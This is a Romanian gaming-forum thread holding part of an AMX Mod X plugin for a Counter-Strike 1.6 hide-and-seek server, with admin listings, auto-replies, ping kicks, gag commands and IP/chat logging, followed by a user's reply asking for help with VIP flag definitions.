					format(StockHns_fasT[StockNumHns_fasT], 127, "^"%s^" ^"%s^" ^"%d^"", Nume, Acc == 2 ? VipAcces[str_to_num(VipGrad)] : SLOT_ACCES, VipRamas)
					StockNumHns_fasT++
				}
				TotalUseriInregistrati++
			}
		}
		fclose(oFile)
	}
	else
		BlockHnsFast = true
	/* Write File */
	new fFormat[512], p1[32], p2[32], p3[32], cTime[4]
	/* Write AdminList */
	for (new i=0;i < sizeof(whoGrad);i++)
	{
		format(fFormat, 511, "%s [color=%s]", atfImg[i], whoCulori[i])
		write_file(sAtf, fFormat, -1)
		
		for (new z=0;z < StockNumAdmins;z++)
		{
			parse(StockAdmins[z], p1, 31, p2, 31, p3, 31)
			if (equali(p3, whoGrad[i]))
			{
				format(fFormat, 511, "%s %s", OnOff[str_to_num(p1)], p2)
				write_file(sAtf, fFormat, -1)
			}
			continue
		}
		write_file(sAtf, "[/color]", -1)
	}
	/* Write mikeee. List */
	if (!BlockHnsFast)
	{
		/* SlotMe */
		new soImg = sizeof(whoGrad)
		format(fFormat, 511, "%s [color=%s]", atfImg[soImg], whoCulori[soImg-1])
		write_file(sAtf, fFormat, -1)
		for (new z=0;z < StockNumHns_fasT;z++)
		{			
			parse(StockHns_fasT[z], p1, 31, p2, 31, p3, 31)
			if (equali(p2, SLOT_ACCES))
			{
				format(fFormat, 511, "%s", p1)
				write_file(sAtf, fFormat, -1)
				continue
			}
		}
		write_file(sAtf, "[/color]", -1)
		
		/* Vips */
		format(fFormat, 511, "%s [color=%s]", atfImg[soImg + 1], whoCulori[soImg])
		write_file(sAtf, fFormat, -1)
		for (new i=1;i < sizeof(VipAcces);i++)
		{
			format(fFormat, 511, "- VIP %d -", i)
			write_file(sAtf, fFormat, -1)
			for (new z=0;z < StockNumHns_fasT;z++)
			{
				parse(StockHns_fasT[z], p1, 31, p2, 31, p3, 31)
				if (equali(p2, VipAcces[i]))
				{
					format(fFormat, 511, "%s (Expira in: ", p1)
					ConvertTime(str_to_num(p3), cTime, true)
					if (cTime[0] > 0)
						format(fFormat, 511, "%s %d zi%s", fFormat, cTime[0], cTime[0] == 1 ? "" : "le")
					if (cTime[1] > 0 || cTime[0] > 0)
						format(fFormat, 511, "%s %d or%s", fFormat, cTime[1], cTime[1] == 1 ? "a" : "e")
					format(fFormat, 511, "%s %d minut%s", fFormat, cTime[2], cTime[2] == 1 ? "" : "e")
					format(fFormat, 511, "%s)", fFormat)
					write_file(sAtf, fFormat, -1)
					continue
				}
			}
		}
	}
	
	write_file(sAtf, "[/color]", -1)
	write_file(sAtf, "", -1)
	write_file(sAtf, "", -1)
	// Stats
	format(fFormat, 511, "* Statistici *")
	write_file(sAtf, fFormat, -1)
	format(fFormat, 511, "Admini activati: %d", AdminiActivati)
	write_file(sAtf, fFormat, -1)
	format(fFormat, 511, "Admini dezactivati: %d", AdminiDezactivati)
	write_file(sAtf, fFormat, -1)
	format(fFormat, 511, "Sloturi (/slotme): %d", SloturiActive)
	write_file(sAtf, fFormat, -1)
	format(fFormat, 511, "VIPuri: %d", VipuriActive)
	write_file(sAtf, fFormat, -1)
		
	format(fFormat, 511, "[/center]Aceasta pagina este generata automat de catre pluginul AdminsToForum(by CsN)", VipuriActive)
	write_file(sAtf, fFormat, -1)
}

/* ==========================================================================================
===================================================== AutoResponse
========================================================================================== */
public AutoResponse(id, text[])
{
	if (str_to_num(AUTO_RESPONSE))
	{
		if (contain(text, "fps") != -1)
		{
			xColor(0, "Pe acest server este permis maxim!g 350!n fps.")
			return true
		}
		if (contain(text, "grav") != -1)
		{
			xColor(0, "Pe acest server gravitatia este!g %d!n.", get_pcvar_num(get_cvar_pointer("sv_gravity")))
			return true
		}
		if (contain(text, "owner") != -1 || contain(text, "detinator") != -1)
		{
			xColor(0, "!gFondator:!t CsN ;x !g !")
			return true
		}
		if (contain(text, "host") != -1)
		{
			xColor(0, "Serverul este hostat la!t gameshost.ro!n.")
			return true
		}
		if (contain(text, "vip") != -1 || contain(text, "cumpar") != -1)
		{
			xColor(0, "VIP-ul dureaza!t 30!n zile. Comenzile se fac pe!t forum!n sau catre!t CsN ;x!n !g(Y!M):!t csn.cossmin!n.")
			return true
		}
		
		if (contain(text, "dev") != -1)
		{
			xColor(0, "Este permis developer pe acest server. (dev!g 1!n)")
			return true
		}
		
		if (contain(text, "bloc") != -1 || contain(text, "block") != -1)
		{
			xColor(0, "Nu este permis block-ul pe acest server.")
			return true
		}
		
		if (contain(text, "run") != -1)
		{
			xColor(0, "Run-ul este permis doar la!g 1!n vs!g 3!n(sau mai multi).")
			return true
		}
		
		if (contain(text, "surf") != -1)
		{
			xColor(0, "Nu este permis DMG SURF-ul pe acest server (nici din spate nici din fata)")
			return true
		}
	}
	return false
}

/* ==========================================================================================
===================================================== Ping Checker
========================================================================================== */
public pingChecker()
{
	new xP[32], xN, id, Ping, Loss, Nume[32]
	get_players(xP, xN, "c")
	for (new i=0;i < xN;i++)
	{
		id = xP[i]
		if (is_user_connected(id))
		{
			get_user_ping(id, Ping, Loss)
			if (Loss > 4 && Ping > cvMaxPing - 20 || Ping > cvMaxPing)
			{
				pingCheck[id]++
				get_user_name(id, Nume, 31)
				if (pingCheck[id] == 1)
				{
					xColor(0, "Jucatorul!g %s!n are [Ping:!g %d!n][Loss:!g%d!n]. Ii aplic setarile No-Ping.", Nume, Ping, Loss)
					for (new i=0; i < sizeof(pingSetari); i++)
						client_cmd(id, pingSetari[i])
					server_cmd("sv_unlag 1")
				}
				if (pingCheck[id] == PING_CHECK_MAX)
				{
					xColor(0, "Jucatorul!g %s!n a fost deconectat deoarece avea [Ping:!g %d!n][Loss:!g%d!n].", Nume, Ping, Loss)
					server_cmd("kick #%d ^"Rezolva cu pingul/lagul si revino.[P:%d][L:%d]^"", get_user_userid(id), Ping, Loss)
				}
			}
		}
	}
}

/* ==========================================================================================
===================================================== Player Stats
========================================================================================== */
public cmdPlayerInfo(id, level, cid)
{
	if (!cmd_access(id, level, cid, 1))
		return PLUGIN_HANDLED
	if (str_to_num(PLAYER_STATS))
	{
		new xP[32], xN, ip[32], nume[32], steam[32], timp[4], ptimp, id
		get_players(xP, xN, "c")
		console_print(id, "########## Player Info ##########")
		console_print(id, "%10s  %17s %6s  %25s", "IP", "STEAM", "TIMP", "NUME")
		for (new i=0;i < xN;i++)
		{
			id = xP[i]
			get_user_name(id, nume, 31)
			get_user_ip(id, ip, 31, 1)
			get_user_authid(id, steam, 31)
			ptimp = get_user_time(id, 1)
			ConvertTime(ptimp, timp, false)
			console_print(id, "%10s  %17s %6s  %25s", ip, steam, timp[1], timp[2], nume)
		}
		console_print(id, "########## Player Info ##########")
	}
	else
	{
		console_print(id, "Comanda este dezactivata.")
	}
	return PLUGIN_HANDLED
}
/* ==========================================================================================
===================================================== Gag
========================================================================================== */
public cmdAmxUnGag(id, level, cid) {
	if(!cmd_access (id, level, cid, 1))
		return PLUGIN_HANDLED
	if (str_to_num(GAG_STATUS))
	{
		new Victim[32], aName[32], pName[32]
		get_user_name(id, aName, 31)
		read_argv(1,Victim,31)
		if (equal(Victim, "@ALL")) 
		{
			new xP[32], xN
			get_players(xP, xN, "c")
			for (new i=0; i < xN; i++)
				gagPlayer[xP[i]]=false
			gagRemoveAllIp()
			gagMultiple = false
			remove_task(TASK_GAG_TIME + TASK_GAG_TIME)
			console_print(id, "Ai scos gagul la toti jucatorii")
			xColor(0, "!g%s!n scoate gag la toti jucatorii.", aName)
		} 
		else 
		{
			new id2 = cmd_target(id, Victim, 8)
			if (!id2)
				return PLUGIN_HANDLED
			get_user_name(id2, pName, 31)
			new hGag = gagVerifica(id2)
			if (hGag != 0) 
			{
				remove_task(hGag + TASK_GAG_TIME)
				gagRemoveIp(hGag)
				gagPlayer[id2] = false
				xColor(0, "!g%s!n i-a scos gagul lui!g %s!n.", aName, pName)
			} 
			else 
				console_print(id, "Jucatorul %s nu are gag.", pName)
		}
	}
	else
	{
		console_print(id, "Gag-ul este dezactivat")
		return PLUGIN_CONTINUE
	}
	return PLUGIN_HANDLED	
}

public cmdAmxGag(id, level, cid) {
	if(!cmd_access (id, level, cid, 1))
		return PLUGIN_HANDLED
	if (str_to_num(GAG_STATUS))
	{
		new Victim[32], pName[32], aName[32], Temp[10], gTime[10], gReason[126]
		get_user_name(id, aName, 31)
		read_argv(1,Victim,31)
		read_argv(2, gTime, 31)
		read_argv(3, gReason, 125)
		new gagTime = str_to_num(gTime)
		if (!gagTime)
			gagTime = GAG_DEFAULT_TIME
		if (gagTime < 1) 
		{
			console_print(id, "# Poti sa-i dai gag minim 1 minut")
			return PLUGIN_CONTINUE
		}
		if (gagTime > 60) 
		{
			console_print(id, "# Poti sa dai gag maxim 60 minute")
			return PLUGIN_CONTINUE
		}
		
		if (strlen(gReason) < 1)
			format(gReason, 125, "Fara Motiv")
		
		if (equal(Victim, "@ALL")) 
		{
			new xP[32], xN
			get_players(xP, xN, "c")
			format(Temp, 9, "%d", gagTime * 60)
			new Float:gagTask = floatstr(Temp)
			for (new i=0; i < xN; i++) 
			{
				new slot = gagVerifica(xP[i])
				if (gagPlayer[xP[i]]) 
				{
					remove_task(slot + TASK_GAG_TIME)
					gagRemoveIp(slot)
					gagPlayer[xP[i]] = false
				}
				if (gagMultiple) 
				{
					console_print(id, "Jucatorii au deja gag.")
					return PLUGIN_HANDLED
				}
				if (get_user_flags(xP[i]) & ADMIN_RCON)
					continue
				new gStatus = gagGagPlayer(id, xP[i], time(), gagTime, gReason)
				set_task(gagTask, "gagTaskUnGag2", gStatus + TASK_GAG_TIME)
			}
			gagMultiple = true
			set_task(gagTask, "gagTaskMultiple", TASK_GAG_TIME + TASK_GAG_TIME)
			console_print(id, "Ai dat gag la toti jucatorii.")
			xColor(0, "!g%s!n da gag la toti jucatorii. [Durata:!g%d!n minut%s] [Motiv:!g%s!n]", aName, gagTime, gagTime==1 ? "" : "e", gReason)
		} 
		else
		{
			new id2 = cmd_target(id, Victim, 8)
			if (!id2)
				return PLUGIN_HANDLED
			get_user_name(id2, pName, 31)
			new hGag = gagVerifica(id2)
			if (hGag != 0) {
				new dNume[32], dTimp[32], dDurata[10], dMotiv[126], cTime[4]
				parse(gagDetails[hGag], dNume, 31, dTimp, 31, dDurata, 9, dMotiv, 125)
				ConvertTime((str_to_num(dTimp) + (str_to_num(dDurata) * 60) - time()), cTime, false)
				console_print(id, "## Jucatorul [%s] are deja gag ##", pName)
				console_print(id, "# Admin: %s", dNume)
				console_print(id, "# Durata: %d minut%s", str_to_num(dDurata), str_to_num(dDurata) == 1 ? "" : "e")
				console_print(id, "# Ramas: %d minut%s si %d secund%s", cTime[2], cTime[2] == 1 ? "" : "e", cTime[3], cTime[3] == 1 ? "a" : "e")
				console_print(id, "# Motiv: %s", dMotiv)
				console_print(id, "#########################################")
			} else {
				new gStatus = gagGagPlayer(id, id2, time(), gagTime, gReason)
				if (gStatus != 0) {
					format(Temp, 9, "%d", gagTime * 60)
					new Float:gagTask = floatstr(Temp)
					set_task(gagTask, "gagTaskUnGag", gStatus + TASK_GAG_TIME)
					xColor(0, "!g%s!n: Ii da gag lui!g %s!n.[Durata:!g%d!n minut%s] [Motiv:!g%s!n]", aName, pName, gagTime, gagTime==1 ? "" : "e", gReason)
					console_print(id, "## Jucatorul %s a primit gag", pName)
					console_print(id, "# Durata: %d minut%s", gagTime, gagTime==1 ? "" : "e")
					console_print(id, "# Motiv: %s", gReason)
					console_print(id, "#########################################")
				} else
					console_print(id, "Nu ii pot da gag lui %s", pName)
			}
		}
	}
	else
	{
		console_print(id, "Gag-ul este dezactivat")
		return PLUGIN_CONTINUE
	}
	return PLUGIN_HANDLED
}

public gagTaskUnGag2(s) {
	new sIp = s - TASK_GAG_TIME
	new pOn	= IsIpOnline(gagIp[sIp])
	if (pOn != 0) {
		new pName[32]
		get_user_name(pOn, pName, 31)
		gagPlayer[pOn]=false
	}
	gagRemoveIp(sIp)
}
public gagTaskUnGag(s) {
	new sIp = s - TASK_GAG_TIME
	new pOn	= IsIpOnline(gagIp[sIp])
	if (pOn != 0) {
		new pName[32]
		get_user_name(pOn, pName, 31)
		gagPlayer[pOn]=false
		xColor(pOn, "Jucatorul!g %s!n poate sa vorbeasca.", pName)
	}
	gagRemoveIp(sIp)
}
public gagTaskMultiple() {
	xColor(0, "Toti jucatorii pot vorbi acum.")
	gagMultiple=false
}

gagRemoveAllIp() {
	for (new i=1; i < sizeof(gagIp); i++)
		gagRemoveIp(i)
}

gagRemoveIp(slot) {
	format(gagIp[slot], charsmax(gagIp[]), "")
	format(gagDetails[slot], charsmax(gagDetails[]), "")
}

IsIpOnline(ip[]) {
	new xP[32], xN, uIp[32]
	get_players(xP, xN, "c")
	for (new i=0; i < xN; i++) {
		get_user_ip(xP[i], uIp, 31, 1)
		if (equal(uIp, ip))
			return xP[i]	
	}
	return 0
}


gagIpSay(sText[], nSay[], max) {
	if (strlen(sText) > 10) {
		new xC=50, xT1[126], xT2[125]
		for (new i=0; i < xC; i++) {
			// First
			if (i==0)
				strbreak(sText, xT1, 31, xT2, 31)
			else
				strbreak(xT2, xT1, 31, xT2, 31)
				
			if (IsIP(xT1)) {
				copy(nSay, max, xT1)
				return true
			}
		}
	}
	return false
}

gagGagPlayer(id, id2, xTime, xDurata, xMotiv[]) {
	new Ip[32], aNume[32]
	if (id != 0)
		get_user_name(id, aNume, 31)
	else
		format(aNume, 31, "HNS.LEGENDCS.COM")
	get_user_ip(id2, Ip, 31, 1)
	for (new i=1; i < sizeof(gagIp); i++)
		if (equal(gagIp[i], "")) {
			copy(gagIp[i], charsmax(gagIp[]), Ip)
			format(gagDetails[i], charsmax(gagDetails[]), "^"%s^" ^"%d^" ^"%d^" ^"%s^"", aNume, xTime, xDurata, xMotiv)
			gagPlayer[id2]=true
			set_speak(id2, SPEAK_MUTED)
			return i
		}
	return 0
}

gagVerifica(id) {
	new Ip[32]
	get_user_ip(id, Ip, 31, 1)
	for (new i=1; i < sizeof(gagIp); i++)
		if (equal(gagIp[i], Ip))
			return i
	return 0
}

/* ==========================================================================================
===================================================== LastIP
========================================================================================== */
public cmdLastIP(id, level, cid)
{
	if(!cmd_access (id, level, cid, 1))
		return PLUGIN_HANDLED
	if (str_to_num(LASTIP_STATUS))
	{
		new lNume[32], lIp[32], lSteam[32], lTimpJucat[32], lData[32], cTime[4], fTime[32]
		console_print(id, "## Informatii despre ultimii [%d] jucatorii deconectai ##", LASTIP_RECORD)
		console_print(id, "%9s     %18s %23s %10s %s", "ORA", "IP", "STEAM", "TIMP JUCAT", "NUME")
		for (new i=0;i < LastIPNum;i++)
		{
			parse(LastIP[i], lNume, 31, lIp, 31, lSteam, 31, lTimpJucat, 31, lData, 31)
			ConvertTime(str_to_num(lTimpJucat), cTime, false)
			format(fTime, 31, "%do%dm%ds", cTime[1], cTime[2], cTime[3])
			console_print(id, "%9s %18s %23s %10s %s", lData, lIp, lSteam, fTime, lNume)
		}
		console_print(id, "## Informatii despre ultimii [%d] jucatorii deconectai ##", LASTIP_RECORD)
	}
	else
		console_print(id, "Comanda este dezactivata")
	return PLUGIN_HANDLED
}


LastIpMotd(id)
{
	new xMOTD[2048], xLen, lNume[32], lIp[32], lSteam[32], lTimpJucat[32], lData[32], cTime[4], fTime[32], fullIp = false
	if (get_user_flags(id) & ADMIN_KICK)
		fullIp = true
	xLen = format(xMOTD[xLen], 2047-xLen, "<body bgcolor=#000000><font size=3 color=FFFFFF><pre><center>")
	xLen += format(xMOTD[xLen], 2053-xLen, "<b>Informatii despre ultimii [%d] jucatori deconectati.^n", LASTIP_RECORD)
	xLen += format(xMOTD[xLen], 2047-xLen, "%9s %27s %18s %21s %10s^n^n", "ORA", "NUME", "IP", "STEAM", "TIMP JUCAT")
	for (new i=0;i < LastIPNum;i++)
	{
		parse(LastIP[i], lNume, 31, lIp, 31, lSteam, 31, lTimpJucat, 31, lData, 31)
		ConvertTime(str_to_num(lTimpJucat), cTime, false)
		format(fTime, 31, "%do%dm%ds", cTime[1], cTime[2], cTime[3])
		replace_all(lNume, 31, "<", "")
		replace_all(lNume, 31, ">", "")
		if (!fullIp)
			copy(lIp, 31, getClassIp(lIp))
		xLen += format(xMOTD[xLen], 2047-xLen, "%9s %27s %18s %21s %10s^n", lData, lNume, lIp, lSteam, fTime)
	}
	show_motd(id, xMOTD, "Info Jucatori Deconectati")
}

lastAdd(id)
{
	new lNume[32], lIp[32], lSteam[32], lTimpJucat, Time[32]
	get_user_name(id, lNume, 31)
	get_user_ip(id, lIp, 31, 1)
	get_user_authid(id, lSteam, 31)
	lTimpJucat = get_user_time(id, 1)
	get_time("%H:%M:%S", Time, 31)
	if (equal(lNume, LastNume))
		return
	if (LastIPNum == LASTIP_RECORD)
	{
		// Reorganizare
		for (new i=1;i < LASTIP_RECORD;i++)
			copy(LastIP[i-1], 255, LastIP[i])
		format(LastIP[LastIPNum-1], 255, "^"%s^" ^"%s^" ^"%s^" ^"%d^" ^"%s^"", lNume, lIp, lSteam, lTimpJucat, Time)
	}
	else
	{
		format(LastIP[LastIPNum], 255, "^"%s^" ^"%s^" ^"%s^" ^"%d^" ^"%s^"", lNume, lIp, lSteam, lTimpJucat, Time)
		LastIPNum++
	}
	copy(LastNume, 31, lNume)
	return
}

/* ==========================================================================================
===================================================== Global Stock
========================================================================================== */
stock FileStatus(fisier[])
{
	if (file_exists(fisier))
	{
		server_print("Fisier incarcat: %s",  fisier)
		log_amx("Fisier incarcat: %s", fisier)
		return true
	}
	else
	{
		server_print("Fisier creeat: %s", fisier)
		log_amx("Fisier creeat: %s", fisier)
		return false
	}
	return false
}

stock chatLOG(id, msg[], bad[], normal=true)
{
	if (is_user_connected(id))
	{
		new nume[32], Ip[32], Steam[32], Echipa, formChat[512], data[32], wS[128], Team[32]
		get_user_name(id, nume, 31)
		get_user_ip(id, Ip, 31, 1)
		get_user_authid(id, Steam, 31)
		Echipa = get_user_team(id)
		if (normal)
		{
			if (get_user_flags(id) & ADMIN_KICK)
			{
				copy(wS, 127, sAdminSay)
				get_time("%d.%m.%Y %H:%M:%S", data, 31)
			}
			else
			{
				copy(wS, 127, sRegSay)
				get_time("%H:%M:%S", data, 31)
			}
			switch(Echipa)
			{
				case 1: format(Team, 31, "T")
				case 2: format(Team, 31, "CT")
				case 3: format(Team, 31, "SPEC")
				default: format(Team, 31, "---")
			}
			format(formChat, 511, "[%s][%28s][%15s][%25s][%4s][%s]: %84s -> %s", data, nume, Ip, Steam, Team, is_user_alive(id) ? "V" : "M", msg, bad)
			write_file(wS, formChat, -1)
		}
		else
		{
			copy(wS, 127, sRegSay)
			get_time("%H:%M:%S", data, 31)
			format(formChat, 511, "[%s][%28s][%15s][%25s][%4s][%s]-> %84s", data, nume, Ip, Steam, TeamName[Echipa], is_user_alive(id) ? "V" : "M", msg)
			write_file(wS, formChat, -1)
		}
	}
}

stock stats_LOG(fm, nume[]="", time=0, ip[]="", sk=0, sh=0, sr=0, sd=0, ss=0, reg=0, vs=0, vd=0, vg=0)
{
	if (str_to_num(STATS_LOG))
	{
		if (fm == -1)
		{
			write_file(sStatsLog, "##########BUG FIX>      STATS COMPROMIS      >BUG FIX##########", -1)
			return
		}
		
		if (fm == -2)
		{
			write_file(sStatsLog, "@@@@@@@@@NO IP>      FURT DE IDENTITATE      >NO IP@@@@@@@@", -1)
			return
		}
		new form[256], data[32]
		new const inFo[][]=
		{
			"INFO",
			"CHCK",
			"UPD",
			"ERR",
			"NEW",
			"CNEW",
			"LAST",
			"ORIG",
			"FRD"
		}
		get_time("%H:%M:%S", data, 31)
		format(form, 255, "[%s]-[%4s]-[%30s][%18s][TIME:%-6d]-[K:%-5d][H:%-5d][R:%-5d][D:%-5d][S:%-5d]-[REG:%d]-[%-14d %-3d %-2d]",\
		data, inFo[fm], nume, ip, time, sk, sh, sr, sd, ss, reg, vs, vd, vg)
		write_file(sStatsLog, form, -1)
	}
	return
}

stock gc_LOG(id=0, premiu)
{
	new form[256], data[32], Nume[32]
	get_time("%H:%M:%S", data, 31)
	if (id != 0)
		get_user_name(id, Nume, 31)
	else
		format(Nume, 31, "---------------")
	format(form, 255, "[%s]-[%32s]", data, Nume)
	switch(premiu)
	{
		case 1: format(form, 255, "%s-[x2 XP]", form)
		case 2: format(form, 255, "%s-[x2 KILL]", form)
		case 3: format(form, 255, "%s-[x2 DEATH]", form)
		case 4: format(form, 255, "%s-[x2 KILL + HS]", form)
		case 5: format(form, 255, "%s-[VIP1 (1zi)]", form)
		case 6: format(form, 255, "%s-[x2 PUNCTE]", form)
		case 7: format(form, 255, "%s-[30 PUNCTE]", form)
		default: format(form, 255, "%s-[%d PUNCT%s]", form, cvGCuvantPuncte, cvGCuvantPuncte == 1 ? "" : "e")
	}
	write_file(sGcLog, form, -1)
}

stock bool:ValidMap(mapname[]) {
	if (is_map_valid(mapname))
		return true
	new len = strlen(mapname) - 4
	if (len < 0)
		return false
	if (equali(mapname[len], ".bsp")) 
	{
		mapname[len] = '^0'
		if (is_map_valid(mapname))
			return true
	}
	return false
}

stock xColor(const id, const input[], any:...)
{
	new count = 1, players[32]
	static msg[320], msg2[320]
	vformat(msg, 190, input, 3)
	format(msg2, 190, "!n[!g%s!n] %s", TAG, msg)
	replace_all(msg2, 190, "!g", "^4")
	replace_all(msg2, 190, "!n", "^1")
	replace_all(msg2, 190, "!t", "^3")
	replace_all(msg2, 190, "!t2", "^0")
	if (id)
		players[0] = id
	else
		get_players(players, count, "ch")
	for (new i = 0; i < count; i++)
	{
		if (is_user_connected(players[i]))
		{
			message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("SayText"), _, players[i])
			write_byte(players[i])
			write_string(msg2)
			message_end()
		}
	}
}

/* The End */
public plugin_end() {
	if (delete_file(sBlackList))
	{
		write_file(sBlackList, "; Model: ^"Latitudine Longitudine^" ^"Ip^" ^"Player^" ^"Durata^"", -1)
		write_file(sBlackList, "", -1)
	}
	if (locatiiNumLoad > 0)
	{
		new form[128], tm = time()
		for (new i=0;i < locatiiNumLoad;i++)
		{
			if (strlen(locatiiLocatie[i]) > 5)
			{
				if (locatiiTime[i] > tm)
				{
					format(form, 127, "^"%s^" ^"%s^" ^"%s^" ^"%d^"", locatiiLocatie[i], locatiiIp[i], locatiiPlayer[i], locatiiTime[i])
					write_file(sBlackList, form, -1)
				}
			}
		}
	}
	
	if (delete_file(sLastIp))
		for (new i=0;i < LASTIP_RECORD;i++)
			write_file(sLastIp, LastIP[i], i)
}
/* AMXX-Studio Notes - DO NOT MODIFY BELOW HERE
*{\\ rtf1\\ ansi\\ ansicpg1252\\ deff0\\ deflang1033{\\ fonttbl{\\ f0\\ fnil Tahoma;}}\n\\ viewkind4\\ uc1\\ pard\\ f0\\ fs16 \n\\ par }
*/
Top
User avatar
CsN^ ;x
Membru eXtream
Membru eXtream
Posts: 3560
Joined: 02 Apr 2012, 16:58
Detinator Steam: Nu
CS Status: Retras din domeniul Counter-Strike
Reputatie: Fost moderator
Location: Bucuresti
Has thanked: 797 times
Been thanked: 607 times

21 Dec 2013, 10:50

Nu merge man am bagat ,dar daca mai incerci sa nu imi arati cum bag modelele, sa imi spui ce ai adaugat si ce ai pus exemplu :

Code: Select all

#define ADMIN_VIP	read_flags("abcdefghijklmopq" 
#define ADMIN_VIP2  read_flags("abcdefghijklmopqr")
#define ADMIN_VIP3  read_flags("abcdefghijklmopqrs")
#define ADMIN_VIP4  read_flags("abcdefghijklmopqrst")
#define ADMIN_VIP5  read_flags("abcdefghijlmnopqrstu")
Tu ai pus astea eu sa le bag in sursa mea,desigur daca mai incerci sa faci ceva ;)) daca nu multumesc,dar voi mai astepta pe cineva pe un scripter care are chef sau chiar un user care stie ce face :) .
SUS E NEVOIE ,DE CRACIUN ACUMA (A RAMAS CAPSLOCK BLOCA :)) )
Addons HNS level,gravity,xp DOWNLOAD ( e țeapă)
https://5filme.com/ - un simplu site de filme pentru timpul liber
Top
User avatar
CsN^ ;x
Membru eXtream
Membru eXtream
Posts: 3560
Joined: 02 Apr 2012, 16:58
Detinator Steam: Nu
CS Status: Retras din domeniul Counter-Strike
Reputatie: Fost moderator
Location: Bucuresti
Has thanked: 797 times
Been thanked: 607 times

24 Dec 2013, 11:34

Sus ?
Addons HNS level,gravity,xp DOWNLOAD ( e țeapă)
https://5filme.com/ - un simplu site de filme pentru timpul liber
Top
Post Reply

Return to “Modificari pluginuri”

  • Information

  • Who is online

    Users browsing this forum: No registered users and 6 guests